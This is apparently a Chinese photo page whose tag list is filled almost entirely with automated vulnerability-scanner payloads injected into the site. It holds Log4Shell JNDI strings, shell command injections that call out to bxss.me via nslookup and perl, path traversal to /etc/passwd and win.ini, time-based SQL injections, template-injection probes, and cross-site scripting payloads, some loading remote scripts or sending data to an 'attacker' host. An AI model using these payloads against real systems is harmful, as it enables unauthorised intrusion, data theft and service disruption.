×
照片标签：
- 1
- response.write(9229570*9218236)
- '+response.write(9229570*9218236)+'
- "+response.write(9229570*9218236)+"
- ${j${::-n}di:dns${::-:}//hitdybgvsfsdb8d472${::-.}bxss.me}zzzz
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-112512..397c7${::-.}1${::-.}bxss.me}}
- echo iauyoh$()\ gzjtlb\nz^xyu||a #' &echo iauyoh$()\ gzjtlb\nz^xyu||a #|" &echo iauyoh$()\ gzjtlb\nz^xyu||a #
- &echo uzwjem$()\ dfuwtm\nz^xyu||a #' &echo uzwjem$()\ dfuwtm\nz^xyu||a #|" &echo uzwjem$()\ dfuwtm\nz^xyu||a #
- |echo zlelkb$()\ taabph\nz^xyu||a #' |echo zlelkb$()\ taabph\nz^xyu||a #|" |echo zlelkb$()\ taabph\nz^xyu||a #
- (nslookup hitgaobdbjngq7b32f.bxss.me||perl -e "gethostbyname('hitgaobdbjngq7b32f.bxss.me')")
- $(nslookup hitvhheyxawlma0d16.bxss.me||perl -e "gethostbyname('hitvhheyxawlma0d16.bxss.me')")
- uOU1XEa8
- &(nslookup hitkiwmvrwbyj9ad28.bxss.me||perl -e "gethostbyname('hitkiwmvrwbyj9ad28.bxss.me')")&'\"`0&(nslookup hitkiwmvrwbyj9ad28.bxss.me||perl -e "gethostbyname('hitkiwmvrwbyj9ad28.bxss.me')")&`'
- |(nslookup hitsvsytepqjk33891.bxss.me||perl -e "gethostbyname('hitsvsytepqjk33891.bxss.me')")
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- `(nslookup hitevkdkaxnti287e3.bxss.me||perl -e "gethostbyname('hitevkdkaxnti287e3.bxss.me')")`
- 1<esi:include src="http://bxss.me/rpb.png"/>
- 12345'"\'\")
- ../1
- ${10000154+9999175}
- 1&n966963=v974182
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- )
- Http://bxss.me/t/fit.txt
- !(()&&!|*|*|
- http://bxss.me/t/fit.txt?.jpg
- '"()
- ^(#$!@#$)(()))******
- bxss.me
- '.gethostbyname(lc('hitzr'.'emrdmfqx13e45.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(66).chr(122).chr(68).'
- ".gethostbyname(lc("hithf"."rmxilcbnb7847.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(65).chr(97).chr(78)."
- HttP://bxss.me/t/xss.html?%00
- bibs
- bxss.me/t/xss.html?%00
- /xfs.bxss.me
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- '
- bibs/.
- "+"A".concat(70-3).concat(22*4).concat(120).concat(84).concat(114).concat(86)+(require"socket" Socket.gethostbyname("hitmi"+"ebwtteeub083c.bxss.me.")[3].to_s)+"
- "
- '+'A'.concat(70-3).concat(22*4).concat(115).concat(76).concat(120).concat(83)+(require'socket' Socket.gethostbyname('hitrq'+'gytvaijz0b0e5.bxss.me.')[3].to_s)+'
- '"
- ${@print(md5(31337))}
- <!--
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- 1'"()&%<acx><ScRiPt >NRc5(9093)</ScRiPt>
- '"()&%<acx><ScRiPt >NRc5(9229)</ScRiPt>
- 19572033
- acu4154＜s1﹥s2ʺs3ʹuca4154
- acux10937z1z2abcxuca10937
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu9223＜s1﹥s2ʺs3ʹuca9223
- acux2994z1z2abcxuca2994
- acu5804＜s1﹥s2ʺs3ʹuca5804
- acux2984z1z2abcxuca2984
- inhXSTuG
- -1 OR 2+853-853-1=0+0+0+1 --
- -1 OR 2+83-83-1=0+0+0+1
- -1' OR 2+21-21-1=0+0+0+1 --
- -1' OR 2+803-803-1=0+0+0+1 or '4ALUnrbW'='
- -1" OR 2+126-126-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 1"onmouseover=NRc5(91412)"
- 1" 9rM5=NRc5([!+!]) Ptz="
- 1\u0022onmouseover=NRc5(98803)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%4E%52%63%35%28%39%34%32%35%34%29%22
- "onmouseover=NRc5(95375)//
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 1"sTYLe='acu:Expre/**/SSion(NRc5(9314))'bad="
- 1"><script>NRc5(9194)</script>
- 1<ScRiPt >NRc5(9868)</ScRiPt>
- 1<WKO3SD>RTQ9B[!+!]</WKO3SD>
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- 1<script>NRc5(9070)</script>
- 1<ScR<ScRiPt>IpT>NRc5(9993)</sCr<ScRiPt>IpT>
- 1<ScRiPt >NRc5(9977)</ScRiPt>
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9074></ScRiPt>
- 1< ScRiPt >NRc5(9911)</ScRiPt>
- -1
- 1<svg onload=NRc5(9507)
- 1<isindex type=image src=1 onerror=NRc5(9694)>
- -1)
- 1<iframe src='data:text/html
- 1<body onload=NRc5(9635)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=NRc5(9840)>
- 1 waitfor delay '0:0:15' --
- 1<img src=xyz OnErRor=NRc5(9332)>
- 1<img/src=">" onerror=alert(9064)>
- %31%3C%53%63%52%69%50%74%20%3E%4E%52%63%35%289227%29%3C%2F%73%43%72%69%70%54%3E
- 4PM55NfR'
- 1\u003CScRiPt\NRc5(9567)\u003C/sCripT\u003E
- 1<
- -5 OR 759=(SELECT 759 FROM PG_SLEEP(15))--
- <img acu onmouseover=NRc5(91141) //>
- 1<input autofocus onfocus=NRc5(9611)>
- <a HrEF=http://xss.bxss.me></a>
- -5) OR 95=(SELECT 95 FROM PG_SLEEP(15))--
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(NRc5(9238))}
- 1HG6tU <ScRiPt >NRc5(9177)</ScRiPt>
- -1)) OR 693=(SELECT 693 FROM PG_SLEEP(15))--
- 1<WDFEE5>JEUY2[!+!]</WDFEE5>
- 1<ifRAme sRc=9445.com></IfRamE>
- 1<aAYrfv7 x=9330>
- 1<img sRc='http://attacker-9915/log.php?
- ifbD0fYp' OR 718=(SELECT 718 FROM PG_SLEEP(15))--
- 1<aqybDqB<
- 1RsS29YH') OR 616=(SELECT 616 FROM PG_SLEEP(15))--
- aoAbIqQc')) OR 960=(SELECT 960 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@DbxGK
- 1LosqgNO
- ${j${::-n}di:dns${::-:}//hitymggabfuuc00319${::-.}bxss.me}zzzz
- response.write(9419162*9771080)
- '+response.write(9419162*9771080)+'
- "+response.write(9419162*9771080)+"
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-662728..397c7${::-.}1${::-.}bxss.me}}
- kQVlkBOS
- 8MDPjD91
- echo nqbllh$()\ piextd\nz^xyu||a #' &echo nqbllh$()\ piextd\nz^xyu||a #|" &echo nqbllh$()\ piextd\nz^xyu||a #
- -1 OR 2+375-375-1=0+0+0+1 --
- &echo pxwlcm$()\ esewqr\nz^xyu||a #' &echo pxwlcm$()\ esewqr\nz^xyu||a #|" &echo pxwlcm$()\ esewqr\nz^xyu||a #
- -1 OR 2+571-571-1=0+0+0+1
- |echo vzjdcy$()\ qxotdh\nz^xyu||a #' |echo vzjdcy$()\ qxotdh\nz^xyu||a #|" |echo vzjdcy$()\ qxotdh\nz^xyu||a #
- (nslookup hiteajujvtqihe22f0.bxss.me||perl -e "gethostbyname('hiteajujvtqihe22f0.bxss.me')")
- -1' OR 2+861-861-1=0+0+0+1 --
- $(nslookup hitotlrveioxr4bf6f.bxss.me||perl -e "gethostbyname('hitotlrveioxr4bf6f.bxss.me')")
- -1' OR 2+145-145-1=0+0+0+1 or 'hbSuZdNC'='
- &(nslookup hitjkjwauzsnb1acb4.bxss.me||perl -e "gethostbyname('hitjkjwauzsnb1acb4.bxss.me')")&'\"`0&(nslookup hitjkjwauzsnb1acb4.bxss.me||perl -e "gethostbyname('hitjkjwauzsnb1acb4.bxss.me')")&`'
- -1" OR 2+300-300-1=0+0+0+1 --
- |(nslookup hitnfmbqujujjbda2f.bxss.me||perl -e "gethostbyname('hitnfmbqujujjbda2f.bxss.me')")
- `(nslookup hitdimrkdambgfef4f.bxss.me||perl -e "gethostbyname('hitdimrkdambgfef4f.bxss.me')")`
- ${10000453+9999631}
- ZWAKBdv3'
- -5 OR 546=(SELECT 546 FROM PG_SLEEP(15))--
- -5) OR 62=(SELECT 62 FROM PG_SLEEP(15))--
- -1)) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
- 1&n970244=v904654
- rs5AWMXO' OR 384=(SELECT 384 FROM PG_SLEEP(15))--
- mbEq7vWP') OR 375=(SELECT 375 FROM PG_SLEEP(15))--
- wWC8e8ev')) OR 807=(SELECT 807 FROM PG_SLEEP(15))--
- '.gethostbyname(lc('hitps'.'sfvyegaj8c4c6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(87).chr(98).chr(80).'
- ".gethostbyname(lc("hitix"."lovoannl6938e.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(84).chr(103).chr(72)."
- @@b26N6
- "+"A".concat(70-3).concat(22*4).concat(122).concat(83).concat(103).concat(90)+(require"socket" Socket.gethostbyname("hittu"+"yonmqqmy6fb8a.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(120).concat(75).concat(118).concat(68)+(require'socket' Socket.gethostbyname('hitly'+'ratzmydyb2500.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >6hU4(9867)</ScRiPt>
- '"()&%<acx><ScRiPt >6hU4(9286)</ScRiPt>
- 19868061
- acu2180＜s1﹥s2ʺs3ʹuca2180
- acux7661z1z2abcxuca7661
- acu9788＜s1﹥s2ʺs3ʹuca9788
- acux8577z1z2abcxuca8577
- acu9395＜s1﹥s2ʺs3ʹuca9395
- acux9139z1z2abcxuca9139
- 1"onmouseover=6hU4(96062)"
- 1" 3Dj7=6hU4([!+!]) wXU="
- 1\u0022onmouseover=6hU4(99403)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%36%68%55%34%28%39%36%38%30%34%29%22
- "onmouseover=6hU4(95405)//
- 1"sTYLe='acu:Expre/**/SSion(6hU4(9505))'bad="
- 1"><script>6hU4(9251)</script>
- 1<ScRiPt >6hU4(9253)</ScRiPt>
- 1<WJX6G8>YCBCB[!+!]</WJX6G8>
- 1<script>6hU4(9315)</script>
- 1<ScR<ScRiPt>IpT>6hU4(9748)</sCr<ScRiPt>IpT>
- 1<ScRiPt >6hU4(9417)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9768></ScRiPt>
- 1< ScRiPt >6hU4(9796)</ScRiPt>
- 1<svg onload=6hU4(9935)
- 1<isindex type=image src=1 onerror=6hU4(9837)>
- 1<body onload=6hU4(9785)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=6hU4(9406)>
- 1<img src=xyz OnErRor=6hU4(9778)>
- 1<img/src=">" onerror=alert(9138)>
- %31%3C%53%63%52%69%50%74%20%3E%36%68%55%34%289753%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\6hU4(9019)\u003C/sCripT\u003E
- <img acu onmouseover=6hU4(98021) //>
- 1<input autofocus onfocus=6hU4(9136)>
- 1}body{acu:Expre/**/SSion(6hU4(9779))}
- 1HaWrf <ScRiPt >6hU4(9062)</ScRiPt>
- 1<WIKFOF>004S3[!+!]</WIKFOF>
- 1<ifRAme sRc=9325.com></IfRamE>
- 1<ark2Sbv x=9625>
- 1<img sRc='http://attacker-9071/log.php?
- 1<aEH4ajC<
微信扫一扫, 保存到手机
